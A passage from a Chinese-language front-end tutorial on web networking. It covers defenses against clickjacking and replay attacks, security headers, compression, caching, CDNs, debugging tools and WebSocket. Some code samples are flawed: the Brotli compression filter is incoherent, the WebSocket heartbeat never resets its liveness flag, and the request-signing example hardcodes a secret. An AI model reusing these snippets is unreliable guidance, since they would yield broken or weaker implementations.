implementation: `
// Express设置X-Frame-Options
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// 或使用helmet中间件
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));
`,
};
// 2. 使用Content-Security-Policy的frame-ancestors指令
const cspFrameAncestors = {
description: "更灵活地控制页面嵌入权限",
implementation: `
// Express设置CSP
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'none';"
);
next();
});
// 或允许特定域名嵌入
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'self' https://trusted.com;"
);
`,
};
// 3. JavaScript防御(frame-busting)
const frameBusting = {
description: "使用JavaScript检测页面是否被嵌入iframe",
implementation: `
// 传统方法(可能被绕过)
if (window.top !== window.self) {
window.top.location = window.self.location;
}
// 更安全的方法
(function() {
if (window !== window.top) {
var canAccessParent = false;
try {
canAccessParent = !!window.top.location.href;
} catch (e) {
canAccessParent = false;
}
if (!canAccessParent) {
// 页面被嵌入iframe,且无法访问父页面
document.body.innerHTML = '<h1>安全警告:此页面不能在iframe中显示</h1>';
}
}
})();
`,
};重放攻击(Replay Attack)
重放攻击通过截获有效的请求并重复发送,达到欺骗服务器的目的。
重放攻击流程
攻击者 服务器
│ │
│ 1. 拦截用户转账请求 │
│ ────────────────────────────>│
│ POST /transfer │
│ to=attacker&amount=1000 │
│ signature=abc123 │
│ │
│ │ 2. 执行转账
│ │
│ 3. 重复发送请求 │
│ ────────────────────────────>│
│ POST /transfer │
│ to=attacker&amount=1000 │
│ signature=abc123 │
│ │
│ │ 4. 再次执行转账
│ │
│ 5. 继续重复发送... │
│ ────────────────────────────>│
│ │重放攻击防御
// 1. 时间戳 + 过期时间
const timestampDefense = {
description: "在请求中包含时间戳,服务器验证时间戳是否在有效期内",
implementation: `
// 客户端发送请求
const request = {
method: 'POST',
url: '/transfer',
data: {
to: 'attacker@example.com',
amount: 1000,
timestamp: Date.now(), // 当前时间戳
expire: 60000, // 60秒后过期
},
signature: sign(data),
};
// 服务器验证
app.post('/transfer', (req, res) => {
const { timestamp, expire } = req.body;
const now = Date.now();
if (now - timestamp > expire) {
return res.status(400).send('请求已过期');
}
// 执行转账
});
`,
};
// 2. Nonce(一次性随机数)
const nonceDefense = {
description: "使用一次性随机数,每个请求只能使用一次",
implementation: `
// 服务器生成Nonce
const crypto = require('crypto');
const nonceStore = new Map();
app.get('/nonce', (req, res) => {
const nonce = crypto.randomBytes(32).toString('hex');
nonceStore.set(nonce, { used: false, timestamp: Date.now() });
res.json({ nonce });
});
// 客户端发送请求
const request = {
method: 'POST',
url: '/transfer',
data: {
to: 'attacker@example.com',
amount: 1000,
nonce: nonce, // 使用获取的nonce
},
signature: sign(data),
};
// 服务器验证Nonce
app.post('/transfer', (req, res) => {
const { nonce } = req.body;
const nonceData = nonceStore.get(nonce);
if (!nonceData || nonceData.used) {
return res.status(400).send('无效的Nonce');
}
if (Date.now() - nonceData.timestamp > 60000) {
return res.status(400).send('Nonce已过期');
}
// 标记Nonce为已使用
nonceData.used = true;
// 执行转账
});
`,
};
// 3. 请求签名
const signatureDefense = {
description: "对请求内容进行签名,防止内容被篡改",
implementation: `
const crypto = require('crypto');
// 生成签名
function generateSignature(data, secret) {
const sorted = Object.keys(data).sort();
const str = sorted.map(key => \`\${key}=\${data[key]}\`).join('&');
return crypto.createHmac('sha256', secret).update(str).digest('hex');
}
// 客户端发送请求
const data = {
to: 'attacker@example.com',
amount: 1000,
timestamp: Date.now(),
nonce: 'abc123',
};
const signature = generateSignature(data, 'secret');
// 服务器验证签名
app.post('/transfer', (req, res) => {
const { signature, ...data } = req.body;
const expectedSignature = generateSignature(data, 'secret');
if (signature !== expectedSignature) {
return res.status(400).send('签名验证失败');
}
// 执行转账
});
`,
};5.2 安全最佳实践
HTTPS 强制使用
// Express中间件强制HTTPS
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === "production") {
return res.redirect("https://" + req.headers.host + req.url);
}
next();
});安全 HTTP 头设置
// 设置安全HTTP头
app.use(helmet());
// 或手动设置
app.use((req, res, next) => {
res.setHeader("X-Content-Type-Options", "nosniff");
res.setHeader("X-Frame-Options", "DENY");
res.setHeader("X-XSS-Protection", "1; mode=block");
res.setHeader(
"Strict-Transport-Security",
"max-age=31536000; includeSubDomains"
);
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});6. 网络性能优化
6.1 资源压缩
压缩效果对比
未压缩文件
- 文件大小:500KB
- 传输时间:500ms
- 带宽占用:高
- 用户体验:慢
Gzip 压缩
- 压缩后大小:125KB(压缩率:75%)
- 传输时间:125ms
- 带宽占用:中
- 用户体验:中
Brotli 压缩
- 压缩后大小:100KB(压缩率:80%)
- 传输时间:100ms
- 带宽占用:低
- 用户体验:快
Gzip 压缩
// Express启用Gzip压缩
const compression = require('compression');
app.use(compression());
// Nginx配置Gzip
gzip on;
gzip_types text/plain text/css application/json application/javascript text/xml;
gzip_min_length 1000;
gzip_comp_level 6;Brotli 压缩
// Express启用Brotli压缩
const express = require("express");
const app = express();
const compression = require("compression");
const brotli = require("iltorb");
app.use(
compression({
filter: (req, res) => {
if (req.headers["accept-encoding"].includes("br")) {
res.setHeader("Content-Encoding", "br");
return brotli.compressStream();
}
return compression.filter(req, res);
},
})
);压缩算法对比
const compressionComparison = {
gzip: {
name: "Gzip",
compressionRatio: "60-75%",
compressionSpeed: "快",
decompressionSpeed: "快",
browserSupport: "99.9%",
cpuUsage: "低",
bestFor: "通用压缩,兼容性好",
},
brotli: {
name: "Brotli",
compressionRatio: "70-85%",
compressionSpeed: "慢",
decompressionSpeed: "快",
browserSupport: "95%",
cpuUsage: "中",
bestFor: "静态资源,追求最高压缩率",
},
deflate: {
name: "Deflate",
compressionRatio: "50-65%",
compressionSpeed: "快",
decompressionSpeed: "快",
browserSupport: "100%",
cpuUsage: "低",
bestFor: "老旧浏览器兼容",
},
};6.2 缓存策略
缓存策略对比
强缓存 (Cache-Control: max-age=31536000)
- 首次访问:需要请求服务器
- 后续访问:直接从缓存读取,不请求服务器
- 缓存有效期:1 年
- 服务器负载:最低
- 用户体验:最快
- 适用场景:不经常变化的静态资源(图片、字体、CSS、JS)
协商缓存 (ETag / Last-Modified)
- 首次访问:需要请求服务器
- 后续访问:发送请求,服务器验证资源是否修改
- 缓存有效期:由服务器控制
- 服务器负载:中
- 用户体验:快(304 响应)
- 适用场景:可能变化的资源(HTML、API 响应)
不缓存 (Cache-Control: no-cache)
- 每次访问:都需要请求服务器
- 缓存有效期:无
- 服务器负载:最高
- 用户体验:慢
- 适用场景:敏感数据、实时数据
强缓存
// 设置强缓存
app.use(
express.static("public", {
maxAge: "1y", // 1年
etag: false,
lastModified: false,
})
);
// 或使用Cache-Control头
res.setHeader("Cache-Control", "public, max-age=31536000, immutable");协商缓存
// 设置ETag
const crypto = require("crypto");
app.get("/api/data", (req, res) => {
const data = getData();
const etag = crypto
.createHash("md5")
.update(JSON.stringify(data))
.digest("hex");
if (req.headers["if-none-match"] === etag) {
return res.status(304).end();
}
res.setHeader("ETag", etag);
res.json(data);
});
// 设置Last-Modified
app.get("/api/data", (req, res) => {
const data = getData();
const lastModified = data.lastModified;
if (req.headers["if-modified-since"] === lastModified) {
return res.status(304).end();
}
res.setHeader("Last-Modified", lastModified);
res.json(data);
});缓存策略选择指南
const cacheStrategyGuide = {
staticAssets: {
resources: ["图片", "字体", "CSS", "JS"],
strategy: "强缓存",
config: "Cache-Control: public, max-age=31536000, immutable",
reason: "这些资源很少变化,可以长期缓存",
},
htmlFiles: {
resources: ["HTML文件"],
strategy: "协商缓存",
config: "Cache-Control: no-cache",
reason: "HTML文件可能经常更新,需要验证是否修改",
},
apiResponses: {
resources: ["API响应"],
strategy: "协商缓存或短时间强缓存",
config: "Cache-Control: public, max-age=60",
reason: "API数据可能变化,但可以短期缓存",
},
sensitiveData: {
resources: ["用户信息", "支付数据"],
strategy: "不缓存",
config: "Cache-Control: no-store, no-cache",
reason: "敏感数据不能缓存",
},
};6.3 CDN 加速
CDN 工作原理
- 用户访问 www.example.com/image.jpg
- DNS 返回 CDN 节点 IP(最近节点)
- www.example.com → cdn.example.com → 192.0.2.1
- CDN 边缘节点检查缓存
- 缓存命中:直接返回资源
- 缓存未命中:回源到源服务器
- 缓存未命中时,CDN 节点回源请求
- 源服务器返回资源给 CDN 节点
- CDN 节点缓存资源并返回给用户
CDN vs 无 CDN 对比
无 CDN
- 请求路径:用户 → 源服务器
- 距离:可能很远(跨国家、跨大陆)
- 延迟:200-500ms
- 带宽:源服务器带宽有限
- 负载:所有请求都打到源服务器
- 用户体验:慢
使用 CDN
- 请求路径:用户 → CDN 边缘节点 → 源服务器(仅回源时)
- 距离:很近(通常在同一城市或国家)
- 延迟:20-50ms
- 带宽:CDN 节点带宽充足
- 负载:大部分请求由 CDN 处理,源服务器负载低
- 用户体验:快
性能提升:延迟降低 75-90%,带宽利用率提升 10-50 倍
CDN 加速
// 使用CDN加速静态资源
// webpack配置
module.exports = {
output: {
publicPath: 'https://cdn.example.com/assets/'
}
};
// HTML中使用
<script src="https://cdn.example.com/assets/main.js"></script>
<link rel="stylesheet" href="https://cdn.example.com/assets/styles.css">
<img src="https://cdn.example.com/images/logo.png" alt="Logo">CDN 优化技巧
const cdnOptimization = {
// 1. 使用CDN域名
domain: "https://cdn.example.com",
// 2. 合并资源减少请求
bundling: {
css: "合并多个CSS文件",
js: "合并多个JS文件",
sprites: "使用雪碧图合并小图片",
},
// 3. 使用CDN缓存策略
caching: {
static: "长期缓存(1年)",
dynamic: "短期缓存(1小时)",
versioning: "使用版本号或hash更新缓存",
},
// 4. 选择合适的CDN节点
selection: {
geo: "基于地理位置选择最近节点",
latency: "基于延迟选择最快节点",
load: "基于负载选择最空闲节点",
},
// 5. 使用CDN特性
features: {
https: "启用HTTPS加密",
http2: "启用HTTP/2多路复用",
compression: "启用Gzip/Brotli压缩",
imageOptimization: "自动优化图片格式和大小",
},
};6.4 懒加载和预加载
// 路由懒加载(React)
const Home = React.lazy(() => import('./Home'));
const About = React.lazy(() => import('./About'));
function App() {
return (
<Suspense fallback={<div>Loading...</div>}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
</Routes>
</Suspense>
);
}
// 图片懒加载
<img src="placeholder.jpg" data-src="actual-image.jpg" loading="lazy" alt="Image">
// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>7. 网络调试工具
7.1 Chrome DevTools Network 面板
// 使用Performance API监控网络性能
window.addEventListener("load", () => {
const perfData = performance.getEntriesByType("navigation")[0];
console.log(
"DNS查询时间:",
perfData.domainLookupEnd - perfData.domainLookupStart
);
console.log("TCP连接时间:", perfData.connectEnd - perfData.connectStart);
console.log("请求时间:", perfData.responseStart - perfData.requestStart);
console.log("响应时间:", perfData.responseEnd - perfData.responseStart);
console.log(
"DOM加载时间:",
perfData.domContentLoadedEventEnd - perfData.domContentLoadedEventStart
);
console.log(
"页面完全加载时间:",
perfData.loadEventEnd - perfData.loadEventStart
);
});7.2 抓包工具
Wireshark
Wireshark 是一个开源的网络协议分析器,可以捕获和分析网络数据包。
Charles Proxy
Charles 是一个 HTTP 代理服务器,可以查看、修改和重放 HTTP 请求。
// 使用Charles进行调试
// 1. 启动Charles代理
// 2. 配置浏览器使用Charles代理(localhost:8888)
// 3. 查看HTTP请求和响应
// 4. 使用Map Local模拟本地响应
// 5. 使用Rewrite修改请求和响应7.3 API 测试工具
curl 命令
# 基本GET请求
curl https://api.example.com/users
# POST请求
curl -X POST https://api.example.com/users \
-H "Content-Type: application/json" \
-d '{"name":"张三","email":"zhangsan@example.com"}'
# 添加认证头
curl -H "Authorization: Bearer token123" https://api.example.com/profile
# 查看响应头
curl -I https://api.example.com
# 保存响应到文件
curl -o response.json https://api.example.com/users
# 上传文件
curl -X POST https://api.example.com/upload \
-F "file=@/path/to/file.jpg"8. WebSocket 实时通信
8.1 WebSocket 概述
WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议,它使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。
8.2 WebSocket 特点
WebSocket vs HTTP 轮询对比
HTTP 轮询 (短轮询)
- 客户端主动请求,服务器被动响应
- 特点:客户端定期发送请求,服务器返回是否有新数据
- 问题:大量无效请求,浪费带宽和服务器资源
- 延迟:1 秒(轮询间隔)
- 请求流程:
- 客户端发送 GET /messages
- 服务器返回 [] (无新消息)
- 客户端等待 1 秒
- 客户端再次发送 GET /messages
- 服务器返回 [] (无新消息)
- 客户端等待 1 秒
- 客户端再次发送 GET /messages
- 服务器返回 [{msg: "Hello"}] (有新消息)
WebSocket (长连接)
- 服务器主动推送,客户端被动接收
- 特点:建立一次连接后,服务器可以随时推送消息
- 优势:实时性强,无无效请求
- 延迟:接近 0ms(消息到达立即推送)
- 请求流程:
- 客户端发起 WebSocket 握手
- 服务器响应,连接建立
- 客户端等待服务器推送
- 服务器推送消息 [{msg: "Hello"}]
- 客户端继续等待
- 服务器再次推送消息 [{msg: "World"}]
WebSocket vs HTTP 轮询性能对比
HTTP 轮询
- 连接方式:短连接(每次请求建立新连接)
- 请求频率:固定间隔(如 1 秒)
- 无效请求:多(大部分请求无新数据)
- 带宽占用:高(大量 HTTP 头部)
- 服务器负载:高(处理大量无效请求)
- 实时性:低(延迟=轮询间隔)
- 连接数:多(每个客户端多个连接)
- 适用场景:低频更新、简单实现
WebSocket
- 连接方式:长连接(一次建立,持续使用)
- 请求频率:按需(有数据才发送)
- 无效请求:无(只在有数据时发送)
- 带宽占用:低(二进制帧,头部小)
- 服务器负载:低(只处理有效数据)
- 实时性:高(延迟接近 0)
- 连接数:少(每个客户端一个连接)
- 适用场景:高频更新、实时通信
性能提升:
带宽节省:60-80%
服务器负载降低:70-90%
延迟降低:90-99%
连接数减少:90-95%
全双工通信:客户端和服务器可以同时发送和接收数据
实时性强:建立连接后,数据可以实时传输
低开销:相比 HTTP 轮询,减少了 HTTP 头部的开销
持久连接:连接建立后,可以保持长时间连接
8.3 WebSocket 实现
WebSocket 连接建立过程
客户端 服务器
│ │
│ 1. HTTP握手请求 │
│ ────────────────────────────>│
│ GET /ws HTTP/1.1 │
│ Upgrade: websocket │
│ Connection: Upgrade │
│ Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== │
│ Sec-WebSocket-Version: 13 │
│ │
│ │ 2. 验证握手请求
│ │ (生成Accept响应)
│ │
│ 3. HTTP握手响应 │
│ <────────────────────────────│
│ HTTP/1.1 101 Switching Protocols
│ Upgrade: websocket │
│ Connection: Upgrade │
│ Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= │
│ │
│ WebSocket连接建立 │
│ │
│ 4. 发送数据帧 │
│ ────────────────────────────>│
│ (二进制帧) │
│ │
│ 5. 发送数据帧 │
│ <────────────────────────────│
│ (二进制帧) │
│ │
│ 6. 关闭连接 │
│ ────────────────────────────>│
│ (关闭帧) │
│ │
│ 7. 关闭连接 │
│ <────────────────────────────│
│ (关闭帧) │
│ │
│ WebSocket连接关闭 │
│ │WebSocket 握手详解
// WebSocket握手过程详解
const websocketHandshake = {
// 1. 客户端发送握手请求
clientRequest: {
method: "GET",
url: "/ws",
version: "HTTP/1.1",
headers: {
Upgrade: "websocket",
Connection: "Upgrade",
"Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
"Sec-WebSocket-Version": "13",
"Sec-WebSocket-Protocol": "chat, superchat",
"Sec-WebSocket-Extensions": "permessage-deflate; client_max_window_bits",
},
},
// 2. 服务器验证并响应
serverResponse: {
status: 101,
statusText: "Switching Protocols",
headers: {
Upgrade: "websocket",
Connection: "Upgrade",
"Sec-WebSocket-Accept": "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=",
"Sec-WebSocket-Protocol": "chat",
"Sec-WebSocket-Extensions":
"permessage-deflate; client_max_window_bits=15",
},
},
// Sec-WebSocket-Accept计算过程
acceptCalculation: {
step1: "客户端发送的Key: dGhlIHNhbXBsZSBub25jZQ==",
step2: "拼接GUID: 258EAFA5-E914-47DA-95CA-C5AB0DC85B11",
step3:
"拼接后: dGhlIHNhbXBsZSBub25jZQ==258EAFA5-E914-47DA-95CA-C5AB0DC85B11",
step4: "SHA-1哈希: <binary hash>",
step5: "Base64编码: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=",
},
};WebSocket 数据帧结构
WebSocket 数据帧包含以下字段:
- FIN: 1 位,标识是否为最后一个消息片段
- RSV1-3: 3 位,保留位,通常为 0
- Opcode: 4 位,操作码
- 0x0: 连续帧
- 0x1: 文本帧
- 0x2: 二进制帧
- 0x8: 关闭帧
- MASK: 1 位,标识是否使用掩码(客户端发送必须为 1)
- Payload len: 7 位,7+16 位或 7+64 位,负载长度
- Masking-key: 4 字节,掩码密钥(如果 MASK=1)
- Payload data: 负载数据
客户端实现
// 创建WebSocket连接
const socket = new WebSocket("wss://api.example.com/ws");
// 连接打开
socket.addEventListener("open", (event) => {
console.log("WebSocket连接已建立");
socket.send(
JSON.stringify({
type: "hello",
data: "Hello Server",
})
);
});
// 接收消息
socket.addEventListener("message", (event) => {
const message = JSON.parse(event.data);
console.log("收到消息:", message);
});
// 连接关闭
socket.addEventListener("close", (event) => {
console.log("WebSocket连接已关闭");
console.log("关闭码:", event.code);
console.log("关闭原因:", event.reason);
console.log("是否由服务器关闭:", event.wasClean);
});
// 连接错误
socket.addEventListener("error", (event) => {
console.error("WebSocket错误:", event);
});
// 关闭连接
socket.close(1000, "正常关闭");服务器实现(Node.js)
const WebSocket = require("ws");
const wss = new WebSocket.Server({ port: 8080 });
wss.on("connection", (ws, req) => {
console.log("新客户端连接");
console.log("客户端IP:", req.socket.remoteAddress);
// 发送欢迎消息
ws.send(
JSON.stringify({
type: "welcome",
message: "欢迎连接到WebSocket服务器",
timestamp: Date.now(),
})
);
// 接收消息
ws.on("message", (message) => {
const data = JSON.parse(message);
console.log("收到消息:", data);
// 广播消息给所有客户端
wss.clients.forEach((client) => {
if (client !== ws && client.readyState === WebSocket.OPEN) {
client.send(
JSON.stringify({
type: "broadcast",
data: data,
timestamp: Date.now(),
})
);
}
});
});
// 连接关闭
ws.on("close", (code, reason) => {
console.log("客户端断开连接");
console.log("关闭码:", code);
console.log("关闭原因:", reason);
});
// 连接错误
ws.on("error", (error) => {
console.error("WebSocket错误:", error);
});
});
// 心跳检测
setInterval(() => {
wss.clients.forEach((ws) => {
if (ws.isAlive === false) {
return ws.terminate();
}
ws.isAlive = false;
ws.ping();
});
}, 30000);
wss.on("ping", () => {
this.isAlive = true;
});8.4 WebSocket 应用场景
- 实时聊天应用
- 在线协作工具
- 实时股票行情
- 在线游戏
- 实时数据监控
9. 网络性能优化完整流程
9.1 页面加载性能优化流程
- 用户输入 URL
- DNS 解析 (优化:DNS 预解析)
- 检查浏览器缓存
- 检查系统缓存
- 检查 Hosts 文件
- 查询 DNS 服务器
- TCP 连接 (优化:TCP 快速打开)
- 三次握手
- TLS 握手 (优化:TLS 会话复用)
- 建立连接
- HTTP 请求 (优化:HTTP/2 多路复用)
- 发送请求头
- 发送请求体
- 等待响应
- 服务器处理 (优化:服务器缓存、CDN)
- 检查缓存
- 执行业务逻辑
- 查询数据库
- 生成响应
- HTTP 响应 (优化:Gzip/Brotli 压缩)
- 发送响应头
- 发送响应体 (压缩后)
- 设置缓存策略
- 浏览器处理 (优化:资源预加载)
- 解析 HTML
- 构建 DOM 树
- 构建 CSSOM 树
- 合并渲染树
- 布局 (Layout)
- 绘制 (Paint)
- 合成 (Composite)
- 加载资源 (优化:懒加载、CDN)
- CSS (并行加载)
- JavaScript (异步加载)
- 图片 (懒加载)
- 字体 (预加载)
- 页面渲染完成
9.2 网络性能优化检查清单
DNS 优化
- 使用 DNS 预解析 (dns-prefetch)
- 使用 CDN 加速
- 减少 DNS 查询(合并域名)
TCP 连接优化
- 使用 HTTP/2 多路复用
- 启用 TLS 会话复用
- 使用 TCP 快速打开 (TFO)
HTTP 优化
- 使用 HTTP/2 或 HTTP/3
- 启用 Gzip/Brotli 压缩
- 设置合理的缓存策略
- 减少 HTTP 请求数量
资源优化
- 压缩图片 (WebP/AVIF)
- 压缩 JavaScript 和 CSS
- 使用字体子集化
- 删除未使用的代码
加载优化
- 使用资源预加载 (preload)
- 使用懒加载 (lazy loading)
- 异步加载非关键 JavaScript
- 延迟加载非关键 CSS
渲染优化
- 优化关键渲染路径
- 减少 DOM 节点数量
- 避免强制同步布局
- 使用 CSS 硬件加速
监控和分析
- 使用 Chrome DevTools 分析性能
- 使用 Lighthouse 评估性能
- 监控真实用户性能 (RUM)
- 设置性能预算
9.3 性能优化实施步骤
const performanceOptimizationSteps = {
// 1. 评估现状
assessment: {
tool: "Lighthouse",
metrics: {
FCP: "First Contentful Paint",
LCP: "Largest Contentful Paint",
TTI: "Time to Interactive",
CLS: "Cumulative Layout Shift",
FID: "First Input Delay",
},
target: {
FCP: "< 1.8s",
LCP: "< 2.5s",
TTI: "< 3.8s",
CLS: "< 0.1",
FID: "< 100ms",
},
},
// 2. 识别瓶颈
identifyBottlenecks: {
network: "检查网络请求时间",
rendering: "检查渲染性能",
scripting: "检查JavaScript执行时间",
layout: "检查布局重排",
},
// 3. 实施优化
implementOptimizations: {
quickWins: ["启用压缩", "设置缓存策略", "优化图片", "减少HTTP请求"],
mediumEffort: ["代码分割", "懒加载", "预加载关键资源", "优化第三方脚本"],
longTerm: [
"迁移到HTTP/2或HTTP/3",
"实施Service Worker",
"优化服务器性能",
"使用CDN",
],
},
// 4. 验证效果
validateResults: {
before: "优化前的性能指标",
after: "优化后的性能指标",
improvement: "性能提升百分比",
regression: "检查是否有性能回归",
},
// 5. 持续监控
continuousMonitoring: {
tools: ["Lighthouse", "WebPageTest", "RUM"],
alerts: "设置性能告警",
review: "定期审查性能报告",
},
};10. 总结
网络知识是前端开发的重要基础,掌握 HTTP 协议、TCP/IP 模型、DNS 解析、网络安全等核心概念,能够帮助开发者:
- 构建更高效的应用:通过缓存、压缩、CDN 等技术优化性能
- 提高应用安全性:防范 XSS、CSRF、SQL 注入等常见攻击
- 快速排查问题:使用网络调试工具定位和解决网络相关问题
- 实现实时通信:使用 WebSocket 等技术构建实时应用
- 优化用户体验:通过预加载、懒加载等技术提升页面加载速度
- 系统化性能优化:遵循完整的优化流程,确保持续改进
持续学习和实践网络知识,将使你在前端开发中更加得心应手,能够构建出更加优秀的产品。